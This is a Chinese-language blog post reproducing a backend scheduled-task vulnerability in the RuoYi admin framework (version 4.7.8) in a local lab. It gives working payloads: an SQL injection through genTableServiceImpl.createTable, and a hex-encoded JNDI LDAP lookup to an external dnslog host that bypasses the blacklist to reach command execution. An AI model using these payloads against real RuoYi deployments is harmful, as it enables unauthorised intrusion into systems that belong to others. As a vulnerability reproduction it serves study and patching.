0x00 背景
最近项目中发现很多单位都使用了若依二开的系统,而最近若依有个后台计划任务rce的漏洞,比较新,我还没复现过,于是本地搭建一个若依环境复现一下这个漏洞。 这个漏洞在4.7.8版本及之前都存在,现在最新版的若依也只更新到了4.7.9版本。
0x01环境搭建
下载若依4.7.8版本 https://gitee.com/y_project/RuoYi/releases
开启phpstudy中的mysql
新建数据库ry,并导入若依的sql文件
sql文件在RuoYi-v4.7.8sql
在IDEA中打开RuoYi项目文件 找到配置数据库的地方,修改数据库地址、账号和密码 ![在这里插入图片描述](https://img-blog.csdnimg.cn/direct/3be99856a6f34cd78305eca10cd5ef36.png)
java和maven之前配置过,这里就不用再配置了
尝试运行,启动成功
访问127.0.0.1 ,成功进入若依系统
0x02漏洞复现
因为计划任务的漏洞属于后台漏洞,所以在真实渗透需要弱口令等方式进入后台才能利用。 我这里模拟弱口令的场景下,直接进入到后台进行漏洞复现。 进入后台,找到定时任务功能点 ![在这里插入图片描述](https://img-blog.csdnimg.cn/direct/fddab001733b4e089400717ebb0ba991.png)
漏洞1:计划任务sql注入:
添加计划任务 payload
genTableServiceImpl.createTable('UPDATE sys_job SET invoke_target = 'Hack By xiao' WHERE job_id = 1;')
点击启用任务,发现payload中的sql语句以及被执行,作用是修改id为1的计划任务的值为’Hack By xiao’
计划任务sql注入复现成功
漏洞2:计划任务命令执行:
看大佬的漏洞分析中说JobInvokeUtil
在调用过程中不允许在字符串中使用括号,因此将原始作业表中特定作业的参数值修改为十六进制(绕过防御检测),从而达到命令执行的效果。 使用dnslog进行验证漏洞 payload:
javax.naming.InitialContext.lookup('ldap://xiao.dwph71.dnslog.cn')
将上面的payload进行十六进制编码:
0x6A617661782E6E616D696E672E496E697469616C436F6E746578742E6C6F6F6B757028276C6461703A2F2F7869616F2E6477706837312E646E736C6F672E636E2729
将编码后的payload带入下面的payload中:
genTableServiceImpl.createTable('UPDATE sys_job SET invoke_target = 0x6A617661782E6E616D696E672E496E697469616C436F6E746578742E6C6F6F6B757028276C6461703A2F2F7869616F2E6477706837312E646E736C6F672E636E2729 WHERE job_id = 2;')
上面payload的作用是利用之前的sql注入漏洞,修改job_id为2的计划任务内容,将该计划任务执行的命令改为我们构造好的payload。
dnslog收到回显,证明漏洞存在
漏洞绕过的原因: 在添加 SQL 定时任务时,可以通过 16 进制转换绕过黑名单检测
修复方式
升级到最新版本